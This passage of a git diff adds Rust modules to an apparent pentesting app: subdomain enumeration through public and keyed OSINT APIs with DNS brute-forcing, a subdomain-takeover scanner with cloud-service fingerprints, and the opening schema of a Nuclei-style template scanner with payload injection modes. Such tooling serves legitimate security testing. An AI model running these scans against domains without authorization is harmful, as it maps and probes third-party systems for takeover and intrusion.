if let Some(m) = cap.get(1) {
|
||||
if let Some(h) = norm_host(m.as_str(), domain) { set.insert(h); }
|
||||
}
|
||||
}
|
||||
Ok(set)
|
||||
}
|
||||
|
||||
async fn src_wayback(client: &reqwest::Client, domain: &str) -> anyhow::Result<HashSet<String>> {
|
||||
let url = format!("http://web.archive.org/cdx/search/cdx?url=*.{}&output=json&fl=original&collapse=urlkey&limit=10000", domain);
|
||||
let val = fetch_json(client, &url).await?;
|
||||
let arr = val.as_array().map(|a| a.as_slice()).unwrap_or(&[]);
|
||||
let mut set = HashSet::new();
|
||||
for (i, row) in arr.iter().enumerate() {
|
||||
if i == 0 { continue; } // header row
|
||||
if let Some(u) = row.as_array().and_then(|r| r.first()).and_then(|v| v.as_str()) {
|
||||
if let Some(host) = url::Url::parse(u).ok().and_then(|p| p.host_str().map(String::from)) {
|
||||
if let Some(h) = norm_host(&host, domain) { set.insert(h); }
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(set)
|
||||
}
|
||||
|
||||
async fn src_urlscan(client: &reqwest::Client, domain: &str) -> anyhow::Result<HashSet<String>> {
|
||||
let url = format!("https://urlscan.io/api/v1/search/?q=domain:{}&size=10000", domain);
|
||||
let val = fetch_json(client, &url).await?;
|
||||
let mut set = HashSet::new();
|
||||
for r in values_from_array(&val, "results") {
|
||||
if let Some(d) = r.get("page").and_then(|p| p.get("domain")).and_then(|v| v.as_str()) {
|
||||
if let Some(h) = norm_host(d, domain) { set.insert(h); }
|
||||
}
|
||||
}
|
||||
Ok(set)
|
||||
}
|
||||
|
||||
async fn src_threatcrowd(client: &reqwest::Client, domain: &str) -> anyhow::Result<HashSet<String>> {
|
||||
let url = format!("https://www.threatcrowd.org/searchApi/v2/domain/report/?domain={}", domain);
|
||||
let val = fetch_json(client, &url).await?;
|
||||
let mut set = HashSet::new();
|
||||
for s in values_from_array(&val, "subdomains") {
|
||||
if let Some(host) = s.as_str() {
|
||||
if let Some(h) = norm_host(host, domain) { set.insert(h); }
|
||||
}
|
||||
}
|
||||
Ok(set)
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// key-based sources
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
async fn src_c99(client: &reqwest::Client, domain: &str, key: &str) -> anyhow::Result<HashSet<String>> {
|
||||
let url = format!("https://api.c99.nl/subdomainfinder?key={key}&domain={domain}&json");
|
||||
let val = fetch_json(client, &url).await?;
|
||||
if let Some(e) = val.get("error").and_then(|v| v.as_str()) { anyhow::bail!("{e}"); }
|
||||
let mut set = HashSet::new();
|
||||
for r in values_from_array(&val, "subdomains") {
|
||||
if let Some(s) = r.get("subdomain").and_then(|v| v.as_str()) {
|
||||
if let Some(h) = norm_host(s, domain) { set.insert(h); }
|
||||
}
|
||||
}
|
||||
Ok(set)
|
||||
}
|
||||
|
||||
async fn src_virustotal(client: &reqwest::Client, domain: &str, key: &str) -> anyhow::Result<HashSet<String>> {
|
||||
let url = format!("https://www.virustotal.com/api/v3/domains/{}/subdomains?limit=40", domain);
|
||||
let val = fetch_json_with_headers(client, &url, &[("x-apikey", key)]).await?;
|
||||
let mut set = HashSet::new();
|
||||
for r in values_from_array(&val, "data") {
|
||||
if let Some(id) = r.get("id").and_then(|v| v.as_str()) {
|
||||
if let Some(h) = norm_host(id, domain) { set.insert(h); }
|
||||
}
|
||||
}
|
||||
Ok(set)
|
||||
}
|
||||
|
||||
async fn src_securitytrails(client: &reqwest::Client, domain: &str, key: &str) -> anyhow::Result<HashSet<String>> {
|
||||
let url = format!("https://api.securitytrails.com/v1/domain/{}/subdomains?children_only=false", domain);
|
||||
let val = fetch_json_with_headers(client, &url, &[("APIKEY", key)]).await?;
|
||||
let mut set = HashSet::new();
|
||||
for s in values_from_array(&val, "subdomains") {
|
||||
if let Some(sub) = s.as_str() {
|
||||
let full = format!("{}.{}", sub, domain);
|
||||
if let Some(h) = norm_host(&full, domain) { set.insert(h); }
|
||||
}
|
||||
}
|
||||
Ok(set)
|
||||
}
|
||||
|
||||
async fn src_chaos(client: &reqwest::Client, domain: &str, key: &str) -> anyhow::Result<HashSet<String>> {
|
||||
let url = format!("https://dns.projectdiscovery.io/dns/{}/subdomains", domain);
|
||||
let val = fetch_json_with_headers(client, &url, &[("Authorization", key)]).await?;
|
||||
let mut set = HashSet::new();
|
||||
for s in values_from_array(&val, "subdomains") {
|
||||
if let Some(sub) = s.as_str() {
|
||||
let full = format!("{}.{}", sub, domain);
|
||||
if let Some(h) = norm_host(&full, domain) { set.insert(h); }
|
||||
}
|
||||
}
|
||||
Ok(set)
|
||||
}
|
||||
|
||||
async fn src_shodan(client: &reqwest::Client, domain: &str, key: &str) -> anyhow::Result<HashSet<String>> {
|
||||
let url = format!("https://api.shodan.io/dns/domain/{}?key={}", domain, key);
|
||||
let val = fetch_json(client, &url).await?;
|
||||
let mut set = HashSet::new();
|
||||
for s in values_from_array(&val, "subdomains") {
|
||||
if let Some(sub) = s.as_str() {
|
||||
let full = format!("{}.{}", sub, domain);
|
||||
if let Some(h) = norm_host(&full, domain) { set.insert(h); }
|
||||
}
|
||||
}
|
||||
Ok(set)
|
||||
}
|
||||
|
||||
async fn src_binaryedge(client: &reqwest::Client, domain: &str, key: &str) -> anyhow::Result<HashSet<String>> {
|
||||
let url = format!("https://api.binaryedge.io/v2/query/domains/subdomain/{}", domain);
|
||||
let val = fetch_json_with_headers(client, &url, &[("X-Key", key)]).await?;
|
||||
let mut set = HashSet::new();
|
||||
for s in values_from_array(&val, "events") {
|
||||
if let Some(host) = s.as_str() {
|
||||
if let Some(h) = norm_host(host, domain) { set.insert(h); }
|
||||
}
|
||||
}
|
||||
Ok(set)
|
||||
}
|
||||
|
||||
async fn src_fullhunt(client: &reqwest::Client, domain: &str, key: &str) -> anyhow::Result<HashSet<String>> {
|
||||
let url = format!("https://fullhunt.io/api/v1/domain/{}/subdomains", domain);
|
||||
let val = fetch_json_with_headers(client, &url, &[("X-API-KEY", key)]).await?;
|
||||
let mut set = HashSet::new();
|
||||
for s in values_from_array(&val, "hosts") {
|
||||
if let Some(host) = s.as_str() {
|
||||
if let Some(h) = norm_host(host, domain) { set.insert(h); }
|
||||
}
|
||||
}
|
||||
Ok(set)
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// orchestrator
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
const FREE_SOURCES: &[&str] = &[
|
||||
"crtsh", "certspotter", "hackertarget", "alienvault", "anubis",
|
||||
"rapiddns", "wayback", "urlscan", "threatcrowd",
|
||||
];
|
||||
|
||||
const KEY_SOURCES: &[&str] = &[
|
||||
"c99", "virustotal", "securitytrails", "chaos", "shodan", "binaryedge", "fullhunt",
|
||||
];
|
||||
|
||||
#[tauri::command]
|
||||
pub fn subdomain_sources() -> serde_json::Value {
|
||||
serde_json::json!({
|
||||
"free": FREE_SOURCES,
|
||||
"key_based": KEY_SOURCES,
|
||||
})
|
||||
}
|
||||
|
||||
async fn fetch_source(
|
||||
name: &str,
|
||||
client: &reqwest::Client,
|
||||
domain: &str,
|
||||
keys: &HashMap<String, String>,
|
||||
) -> anyhow::Result<HashSet<String>> {
|
||||
match name {
|
||||
"crtsh" => src_crtsh(client, domain).await,
|
||||
"certspotter" => src_certspotter(client, domain).await,
|
||||
"hackertarget" => src_hackertarget(client, domain).await,
|
||||
"alienvault" => src_alienvault(client, domain).await,
|
||||
"anubis" => src_anubis(client, domain).await,
|
||||
"rapiddns" => src_rapiddns(client, domain).await,
|
||||
"wayback" => src_wayback(client, domain).await,
|
||||
"urlscan" => src_urlscan(client, domain).await,
|
||||
"threatcrowd" => src_threatcrowd(client, domain).await,
|
||||
"c99" => src_c99(client, domain, keys.get("c99").ok_or_else(|| anyhow::anyhow!("missing c99 api key"))?).await,
|
||||
"virustotal" => src_virustotal(client, domain, keys.get("virustotal").ok_or_else(|| anyhow::anyhow!("missing virustotal api key"))?).await,
|
||||
"securitytrails" => src_securitytrails(client, domain, keys.get("securitytrails").ok_or_else(|| anyhow::anyhow!("missing securitytrails api key"))?).await,
|
||||
"chaos" => src_chaos(client, domain, keys.get("chaos").ok_or_else(|| anyhow::anyhow!("missing chaos api key"))?).await,
|
||||
"shodan" => src_shodan(client, domain, keys.get("shodan").ok_or_else(|| anyhow::anyhow!("missing shodan api key"))?).await,
|
||||
"binaryedge" => src_binaryedge(client, domain, keys.get("binaryedge").ok_or_else(|| anyhow::anyhow!("missing binaryedge api key"))?).await,
|
||||
"fullhunt" => src_fullhunt(client, domain, keys.get("fullhunt").ok_or_else(|| anyhow::anyhow!("missing fullhunt api key"))?).await,
|
||||
_ => Err(anyhow::anyhow!("unknown source: {name}")),
|
||||
}
|
||||
}
|
||||
|
||||
fn resolver() -> TokioAsyncResolver {
|
||||
let mut opts = ResolverOpts::default();
|
||||
opts.timeout = Duration::from_secs(3);
|
||||
opts.attempts = 1;
|
||||
TokioAsyncResolver::tokio(ResolverConfig::cloudflare(), opts)
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn subdomain_enum(
|
||||
app: AppHandle,
|
||||
req: SubdomainRequest,
|
||||
) -> Result<Vec<SubdomainHit>, String> {
|
||||
let client = build_client();
|
||||
let resolver = Arc::new(resolver());
|
||||
let keys = req.api_keys.clone().unwrap_or_default();
|
||||
|
||||
let enabled: Vec<String> = req.sources.clone()
|
||||
.filter(|v| !v.is_empty())
|
||||
.unwrap_or_else(|| FREE_SOURCES.iter().map(|s| s.to_string()).collect());
|
||||
|
||||
let _ = app.emit("subenum:status", format!("running {} source(s) in parallel", enabled.len()));
|
||||
|
||||
// ---- run all sources concurrently ----
|
||||
let mut all: HashMap<String, String> = HashMap::new(); // host → first-seen source
|
||||
let stats: Arc<tokio::sync::Mutex<Vec<SourceStat>>> = Arc::new(tokio::sync::Mutex::new(Vec::new()));
|
||||
|
||||
let source_results = futures::future::join_all(enabled.iter().map(|name| {
|
||||
let client = client.clone();
|
||||
let keys = keys.clone();
|
||||
let domain = req.domain.clone();
|
||||
let app = app.clone();
|
||||
let stats = stats.clone();
|
||||
let name = name.clone();
|
||||
async move {
|
||||
let started = std::time::Instant::now();
|
||||
let res = fetch_source(&name, &client, &domain, &keys).await;
|
||||
let took = started.elapsed().as_millis();
|
||||
match res {
|
||||
Ok(set) => {
|
||||
let stat = SourceStat { source: name.clone(), count: set.len(), error: None, took_ms: took };
|
||||
let _ = app.emit("subenum:source", stat.clone());
|
||||
stats.lock().await.push(stat);
|
||||
(name, set)
|
||||
}
|
||||
Err(e) => {
|
||||
let stat = SourceStat { source: name.clone(), count: 0, error: Some(e.to_string()), took_ms: took };
|
||||
let _ = app.emit("subenum:source", stat.clone());
|
||||
stats.lock().await.push(stat);
|
||||
(name, HashSet::new())
|
||||
}
|
||||
}
|
||||
}
|
||||
})).await;
|
||||
|
||||
for (src_name, set) in source_results {
|
||||
for h in set {
|
||||
all.entry(h).or_insert(src_name.clone());
|
||||
}
|
||||
}
|
||||
|
||||
// ---- bruteforce additions ----
|
||||
if let Some(words) = &req.wordlist {
|
||||
for w in words {
|
||||
let host = format!("{}.{}", w.trim(), req.domain);
|
||||
all.entry(host).or_insert("brute".into());
|
||||
}
|
||||
}
|
||||
|
||||
let total = all.len();
|
||||
let _ = app.emit("subenum:status", format!("aggregated {total} candidates — resolving"));
|
||||
|
||||
// ---- DNS resolve all candidates concurrently ----
|
||||
let sem = Arc::new(Semaphore::new(req.concurrency.max(1)));
|
||||
let done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
|
||||
|
||||
let hits: Vec<SubdomainHit> = stream::iter(all.into_iter())
|
||||
.map(|(host, source)| {
|
||||
let resolver = resolver.clone();
|
||||
let sem = sem.clone();
|
||||
let done = done.clone();
|
||||
let app = app.clone();
|
||||
async move {
|
||||
let _permit = sem.acquire().await.unwrap();
|
||||
let result = resolver.lookup_ip(host.as_str()).await;
|
||||
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
|
||||
let _ = app.emit("subenum:progress", serde_json::json!({"done": n, "total": total}));
|
||||
match result {
|
||||
Ok(lookup) => {
|
||||
let ips: Vec<String> = lookup.iter().map(|ip| ip.to_string()).collect();
|
||||
if ips.is_empty() { None } else {
|
||||
let hit = SubdomainHit { host, source, ips };
|
||||
let _ = app.emit("subenum:hit", hit.clone());
|
||||
Some(hit)
|
||||
}
|
||||
}
|
||||
Err(_) => None,
|
||||
}
|
||||
}
|
||||
})
|
||||
.buffer_unordered(req.concurrency.max(1))
|
||||
.filter_map(|x| async move { x })
|
||||
.collect()
|
||||
.await;
|
||||
|
||||
let _ = app.emit("subenum:done", hits.len());
|
||||
Ok(hits)
|
||||
}
|
||||
312
src-tauri/src/modules/takeover.rs
Normal file
@@ -0,0 +1,312 @@
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use futures::stream::{self, StreamExt};
|
||||
use hickory_resolver::config::{ResolverConfig, ResolverOpts};
|
||||
use hickory_resolver::TokioAsyncResolver;
|
||||
use once_cell::sync::Lazy;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tauri::{AppHandle, Emitter};
|
||||
use tokio::sync::Semaphore;
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct Fingerprint {
|
||||
pub service: &'static str,
|
||||
pub cname_patterns: &'static [&'static str],
|
||||
pub body_match: &'static [&'static str],
|
||||
pub http_status: Option<u16>,
|
||||
pub vulnerable: bool,
|
||||
pub confidence: &'static str,
|
||||
}
|
||||
|
||||
static FINGERPRINTS: Lazy<Vec<Fingerprint>> = Lazy::new(|| {
|
||||
vec![
|
||||
Fingerprint {
|
||||
service: "AWS/S3",
|
||||
cname_patterns: &["s3.amazonaws.com", "s3-website"],
|
||||
body_match: &["NoSuchBucket", "The specified bucket does not exist"],
|
||||
http_status: Some(404),
|
||||
vulnerable: true,
|
||||
confidence: "HIGH",
|
||||
},
|
||||
Fingerprint {
|
||||
service: "GitHub Pages",
|
||||
cname_patterns: &["github.io", "github.map.fastly.net"],
|
||||
body_match: &["There isn't a GitHub Pages site here", "For root URLs"],
|
||||
http_status: Some(404),
|
||||
vulnerable: true,
|
||||
confidence: "HIGH",
|
||||
},
|
||||
Fingerprint {
|
||||
service: "Heroku",
|
||||
cname_patterns: &["herokuapp.com", "herokussl.com"],
|
||||
body_match: &["no-such-app", "No such app"],
|
||||
http_status: Some(404),
|
||||
vulnerable: true,
|
||||
confidence: "HIGH",
|
||||
},
|
||||
Fingerprint {
|
||||
service: "Shopify",
|
||||
cname_patterns: &["myshopify.com"],
|
||||
body_match: &["Sorry, this shop is currently unavailable"],
|
||||
http_status: None,
|
||||
vulnerable: true,
|
||||
confidence: "MEDIUM",
|
||||
},
|
||||
Fingerprint {
|
||||
service: "Azure",
|
||||
cname_patterns: &[
|
||||
"azurewebsites.net", "cloudapp.net", "cloudapp.azure.com",
|
||||
"trafficmanager.net", "blob.core.windows.net", "azureedge.net",
|
||||
"azure-api.net", "azurecontainer.io",
|
||||
],
|
||||
body_match: &["404 Web Site not found", "Error 404 - Web app not found"],
|
||||
http_status: Some(404),
|
||||
vulnerable: true,
|
||||
confidence: "HIGH",
|
||||
},
|
||||
Fingerprint {
|
||||
service: "Fastly",
|
||||
cname_patterns: &["fastly.net"],
|
||||
body_match: &["Fastly error: unknown domain"],
|
||||
http_status: None,
|
||||
vulnerable: true,
|
||||
confidence: "MEDIUM",
|
||||
},
|
||||
Fingerprint {
|
||||
service: "Readme.io",
|
||||
cname_patterns: &["readme.io"],
|
||||
body_match: &["Project doesnt exist... yet!"],
|
||||
http_status: None,
|
||||
vulnerable: true,
|
||||
confidence: "HIGH",
|
||||
},
|
||||
Fingerprint {
|
||||
service: "Tumblr",
|
||||
cname_patterns: &["domains.tumblr.com"],
|
||||
body_match: &["Whatever you were looking for doesn't currently exist"],
|
||||
http_status: None,
|
||||
vulnerable: true,
|
||||
confidence: "HIGH",
|
||||
},
|
||||
Fingerprint {
|
||||
service: "Unbounce",
|
||||
cname_patterns: &["unbouncepages.com"],
|
||||
body_match: &["The requested URL was not found on this server"],
|
||||
http_status: None,
|
||||
vulnerable: true,
|
||||
confidence: "MEDIUM",
|
||||
},
|
||||
Fingerprint {
|
||||
service: "Ghost",
|
||||
cname_patterns: &["ghost.io"],
|
||||
body_match: &["The thing you were looking for is no longer here"],
|
||||
http_status: None,
|
||||
vulnerable: true,
|
||||
confidence: "HIGH",
|
||||
},
|
||||
Fingerprint {
|
||||
service: "Pantheon",
|
||||
cname_patterns: &["pantheonsite.io"],
|
||||
body_match: &["The gods are wise, but do not know of the site which you seek"],
|
||||
http_status: None,
|
||||
vulnerable: true,
|
||||
confidence: "HIGH",
|
||||
},
|
||||
Fingerprint {
|
||||
service: "Zendesk",
|
||||
cname_patterns: &["zendesk.com"],
|
||||
body_match: &["Help Center Closed"],
|
||||
http_status: None,
|
||||
vulnerable: true,
|
||||
confidence: "LOW",
|
||||
},
|
||||
Fingerprint {
|
||||
service: "Surge.sh",
|
||||
cname_patterns: &["surge.sh"],
|
||||
body_match: &["project not found"],
|
||||
http_status: None,
|
||||
vulnerable: true,
|
||||
confidence: "HIGH",
|
||||
},
|
||||
Fingerprint {
|
||||
service: "Bitbucket",
|
||||
cname_patterns: &["bitbucket.io"],
|
||||
body_match: &["Repository not found"],
|
||||
http_status: None,
|
||||
vulnerable: true,
|
||||
confidence: "HIGH",
|
||||
},
|
||||
Fingerprint {
|
||||
service: "Netlify",
|
||||
cname_patterns: &["netlify.app", "netlify.com"],
|
||||
body_match: &["Not Found - Request ID"],
|
||||
http_status: Some(404),
|
||||
vulnerable: true,
|
||||
confidence: "MEDIUM",
|
||||
},
|
||||
Fingerprint {
|
||||
service: "Vercel",
|
||||
cname_patterns: &["vercel.app", "now.sh"],
|
||||
body_match: &["The deployment could not be found"],
|
||||
http_status: Some(404),
|
||||
vulnerable: true,
|
||||
confidence: "MEDIUM",
|
||||
},
|
||||
Fingerprint {
|
||||
service: "Cargo",
|
||||
cname_patterns: &["cargocollective.com"],
|
||||
body_match: &["404 Not Found"],
|
||||
http_status: None,
|
||||
vulnerable: true,
|
||||
confidence: "LOW",
|
||||
},
|
||||
Fingerprint {
|
||||
service: "Statuspage",
|
||||
cname_patterns: &["statuspage.io"],
|
||||
body_match: &["You are being redirected"],
|
||||
http_status: None,
|
||||
vulnerable: false,
|
||||
confidence: "LOW",
|
||||
},
|
||||
]
|
||||
});
|
||||
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
pub struct TakeoverRequest {
|
||||
pub hosts: Vec<String>,
|
||||
pub concurrency: usize,
|
||||
pub timeout_ms: u64,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct TakeoverFinding {
|
||||
pub host: String,
|
||||
pub cname: Option<String>,
|
||||
pub service: Option<String>,
|
||||
pub vulnerable: bool,
|
||||
pub confidence: String,
|
||||
pub evidence: String,
|
||||
pub http_status: Option<u16>,
|
||||
}
|
||||
|
||||
async fn check_host(
|
||||
host: &str,
|
||||
resolver: &TokioAsyncResolver,
|
||||
client: &reqwest::Client,
|
||||
) -> Option<TakeoverFinding> {
|
||||
// 1. lookup CNAME
|
||||
let cname = resolver
|
||||
.lookup(host.to_string(), hickory_resolver::proto::rr::RecordType::CNAME)
|
||||
.await
|
||||
.ok()
|
||||
.and_then(|lookup| lookup.iter().next().map(|r| r.to_string().trim_end_matches('.').to_string()));
|
||||
|
||||
let cname = cname?;
|
||||
|
||||
// 2. match CNAME against fingerprint DB
|
||||
let fp = FINGERPRINTS.iter().find(|f| {
|
||||
f.cname_patterns
|
||||
.iter()
|
||||
.any(|p| cname.to_lowercase().contains(&p.to_lowercase()))
|
||||
})?;
|
||||
|
||||
// 3. probe HTTP for confirmation
|
||||
let urls = [format!("https://{host}"), format!("http://{host}")];
|
||||
let mut http_status: Option<u16> = None;
|
||||
let mut body = String::new();
|
||||
|
||||
for u in &urls {
|
||||
if let Ok(resp) = client.get(u).send().await {
|
||||
http_status = Some(resp.status().as_u16());
|
||||
body = resp.text().await.unwrap_or_default();
|
||||
if !body.is_empty() {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let mut matched = false;
|
||||
let mut evidence = String::new();
|
||||
for pat in fp.body_match {
|
||||
if body.to_lowercase().contains(&pat.to_lowercase()) {
|
||||
matched = true;
|
||||
evidence = format!("body contains: \"{pat}\"");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if !matched {
|
||||
if let (Some(expected), Some(actual)) = (fp.http_status, http_status) {
|
||||
if expected == actual {
|
||||
evidence = format!("cname match + status {actual} (body signature missing — likely reclaimed)");
|
||||
matched = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// always report cname-fingerprinted hosts; vulnerability flag based on body confirm
|
||||
Some(TakeoverFinding {
|
||||
host: host.to_string(),
|
||||
cname: Some(cname),
|
||||
service: Some(fp.service.to_string()),
|
||||
vulnerable: matched && fp.vulnerable,
|
||||
confidence: if matched { fp.confidence.to_string() } else { "INFO".into() },
|
||||
evidence: if evidence.is_empty() {
|
||||
format!("cname points to {} (no takeover indicators)", fp.service)
|
||||
} else {
|
||||
evidence
|
||||
},
|
||||
http_status,
|
||||
})
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn takeover_scan(
|
||||
app: AppHandle,
|
||||
req: TakeoverRequest,
|
||||
) -> Result<Vec<TakeoverFinding>, String> {
|
||||
let mut opts = ResolverOpts::default();
|
||||
opts.timeout = Duration::from_secs(3);
|
||||
let resolver = Arc::new(TokioAsyncResolver::tokio(ResolverConfig::cloudflare(), opts));
|
||||
|
||||
let client = Arc::new(
|
||||
reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_millis(req.timeout_ms))
|
||||
.redirect(reqwest::redirect::Policy::none())
|
||||
.user_agent("Mozilla/5.0 (PocketPentester)")
|
||||
.build()
|
||||
.map_err(|e| e.to_string())?,
|
||||
);
|
||||
|
||||
let total = req.hosts.len();
|
||||
let sem = Arc::new(Semaphore::new(req.concurrency.max(1)));
|
||||
let done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
|
||||
|
||||
let findings: Vec<TakeoverFinding> = stream::iter(req.hosts.into_iter())
|
||||
.map(|host| {
|
||||
let resolver = resolver.clone();
|
||||
let client = client.clone();
|
||||
let sem = sem.clone();
|
||||
let done = done.clone();
|
||||
let app = app.clone();
|
||||
async move {
|
||||
let _permit = sem.acquire().await.unwrap();
|
||||
let res = check_host(&host, &resolver, &client).await;
|
||||
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
|
||||
let _ = app.emit("takeover:progress", serde_json::json!({"done": n, "total": total}));
|
||||
if let Some(ref f) = res {
|
||||
let _ = app.emit("takeover:hit", f.clone());
|
||||
}
|
||||
res
|
||||
}
|
||||
})
|
||||
.buffer_unordered(req.concurrency.max(1))
|
||||
.filter_map(|x| async move { x })
|
||||
.collect()
|
||||
.await;
|
||||
|
||||
let _ = app.emit("takeover:done", findings.len());
|
||||
Ok(findings)
|
||||
}
|
||||
645
src-tauri/src/modules/xploiter.rs
Normal file
@@ -0,0 +1,645 @@
|
||||
// ===================================================================
|
||||
// Xploiter — pure-Rust template-driven vulnerability scanner
|
||||
// Author: imtaqin / PocketPentester
|
||||
//
|
||||
// Template format (YAML) — compatible with most Nuclei patterns plus
|
||||
// our own extensions. Covers: RCE, SQLi patterns, LFI, SSRF, open
|
||||
// redirect, info-exposure, CVE chains, and user-authored templates.
|
||||
//
|
||||
// TODO(backend): community template registry with signed/curated
|
||||
// sharing is planned as a subscription-gated cloud
|
||||
// service. For now, templates are local-only.
|
||||
// TODO(backend): OOB interaction server (interact.sh-lite) for blind
|
||||
// RCE/SSRF/XXE detection. To be shipped with cloud tier.
|
||||
// ===================================================================
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::sync::Arc;
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
use futures::stream::{self, StreamExt};
|
||||
use rand::Rng;
|
||||
use regex::Regex;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tauri::{AppHandle, Emitter};
|
||||
use tokio::sync::Semaphore;
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// Template schema
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[allow(dead_code)]
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
pub struct Template {
|
||||
pub id: String,
|
||||
pub info: TemplateInfo,
|
||||
|
||||
#[serde(default)]
|
||||
pub variables: HashMap<String, String>,
|
||||
|
||||
/// Global payload sets shared across requests (referenced by name).
|
||||
#[serde(default)]
|
||||
pub payloads: HashMap<String, Vec<String>>,
|
||||
|
||||
/// Sequential HTTP requests. Extractors in step N populate variables
|
||||
/// available to step N+1 (basic workflow chaining).
|
||||
#[serde(default)]
|
||||
pub http: Vec<HttpRequest>,
|
||||
|
||||
/// Alias for `http` (Nuclei compatibility).
|
||||
#[serde(default)]
|
||||
pub requests: Vec<HttpRequest>,
|
||||
}
|
||||
|
||||
#[allow(dead_code)]
|
||||
#[derive(Debug, Clone, Deserialize, Serialize)]
|
||||
pub struct TemplateInfo {
|
||||
pub name: String,
|
||||
#[serde(default)]
|
||||
pub author: String,
|
||||
#[serde(default = "default_sev")]
|
||||
pub severity: String,
|
||||
#[serde(default)]
|
||||
pub description: String,
|
||||
#[serde(default)]
|
||||
pub tags: Vec<String>,
|
||||
#[serde(default)]
|
||||
pub reference: Vec<String>,
|
||||
#[serde(default)]
|
||||
pub classification: Option<Classification>,
|
||||
#[serde(default)]
|
||||
pub remediation: Option<String>,
|
||||
}
|
||||
|
||||
#[allow(dead_code)]
|
||||
#[derive(Debug, Clone, Deserialize, Serialize)]
|
||||
pub struct Classification {
|
||||
#[serde(default)]
|
||||
pub cvss_score: Option<f32>,
|
||||
#[serde(default)]
|
||||
pub cve_id: Option<String>,
|
||||
#[serde(default)]
|
||||
pub cwe_id: Option<Vec<String>>,
|
||||
}
|
||||
|
||||
fn default_sev() -> String { "info".into() }
|
||||
|
||||
#[allow(dead_code)]
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
pub struct HttpRequest {
|
||||
#[serde(default = "default_method")]
|
||||
pub method: String,
|
||||
|
||||
/// Path list — each path is templated. Each entry spawns one sub-request
|
||||
/// (unless payload-substitution expands it further).
|
||||
pub path: Vec<String>,
|
||||
|
||||
#[serde(default)]
|
||||
pub headers: HashMap<String, String>,
|
||||
|
||||
#[serde(default)]
|
||||
pub body: Option<String>,
|
||||
|
||||
/// Request-local variables (merged with template-global + extracted).
|
||||
#[serde(default)]
|
||||
pub variables: HashMap<String, String>,
|
||||
|
||||
/// Payload injection: each key is a `{{placeholder}}` replaced by each
|
||||
/// value from the list (cartesian unless `attack: pitchfork|clusterbomb`).
|
||||
#[serde(default)]
|
||||
pub payloads: HashMap<String, Vec<String>>,
|
||||
|
||||
#[serde(default = "default_attack")]
|
||||
pub attack: String, // "batteringram" (single list) or "clusterbomb"
|
||||
|
||||
#[serde(default = "default_match_cond")]
|
||||
pub matchers_condition: String,
|
||||
|
||||
#[serde(default)]
|
||||
pub matchers: Vec<Matcher>,
|
||||
|
||||
#[serde(default)]
|
||||
pub extractors: Vec<Extractor>,
|
||||
|
||||
#[serde(default)]
|
||||
pub stop_at_first_match: bool,
|
||||
|
||||
#[serde(default = "default_true")]
|
||||
pub redirects: bool,
|
||||
|
||||
/// Raw HTTP for smuggling / control-char testing (optional).
|
||||
#[serde(default)]
|
||||
pub raw: Option<String>,
|
||||
}
|
||||
|
||||
fn default_method() -> String { "GET".into() }
|
||||
fn default_match_cond() -> String { "or".into() }
|
||||
fn default_attack() -> String { "batteringram".into() }
|
||||
fn default_true() -> bool { true }
|
||||
|
||||
#[allow(dead_code)]
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
pub struct Matcher {
|
||||
#[serde(rename = "type")]
|
||||
pub kind: String, // word | regex | status | size | dsl | binary
|
||||
#[serde(default)]
|
||||
pub part: Option<String>, // body | header | all | interactsh_protocol
|
||||
#[serde(default)]
|
||||
pub words: Option<Vec<String>>,
|
||||
#[serde(default)]
|
||||
pub regex: Option<Vec<String>>,
|
||||
#[serde(default)]
|
||||
pub status: Option<Vec<u16>>,
|
||||
#[serde(default)]
|
||||
pub size: Option<Vec<u64>>,
|
||||
#[serde(default)]
|
||||
pub binary: Option<Vec<String>>, // hex
|
||||
#[serde(default)]
|
||||
pub dsl: Option<Vec<String>>, // simple DSL: see eval_dsl
|
||||
#[serde(default = "default_match_cond")]
|
||||
pub condition: String,
|
||||
#[serde(default)]
|
||||
pub negative: bool,
|
||||
#[serde(default)]
|
||||
pub name: Option<String>,
|
||||
}
|
||||
|
||||
#[allow(dead_code)]
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
pub struct Extractor {
|
||||
#[serde(rename = "type")]
|
||||
pub kind: String, // regex | kval | json
|
||||
#[serde(default)]
|
||||
pub part: Option<String>,
|
||||
#[serde(default)]
|
||||
pub regex: Option<Vec<String>>,
|
||||
#[serde(default)]
|
||||
pub kval: Option<Vec<String>>, // header/cookie keys
|
||||
#[serde(default)]
|
||||
pub json: Option<Vec<String>>, // dotted path e.g. "token.access"
|
||||
#[serde(default)]
|
||||
pub group: Option<usize>,
|
||||
#[serde(default)]
|
||||
pub name: Option<String>,
|
||||
/// If set, extracted values become template variables for next requests.
|
||||
#[serde(default)]
|
||||
pub internal: bool,
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// Runtime
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
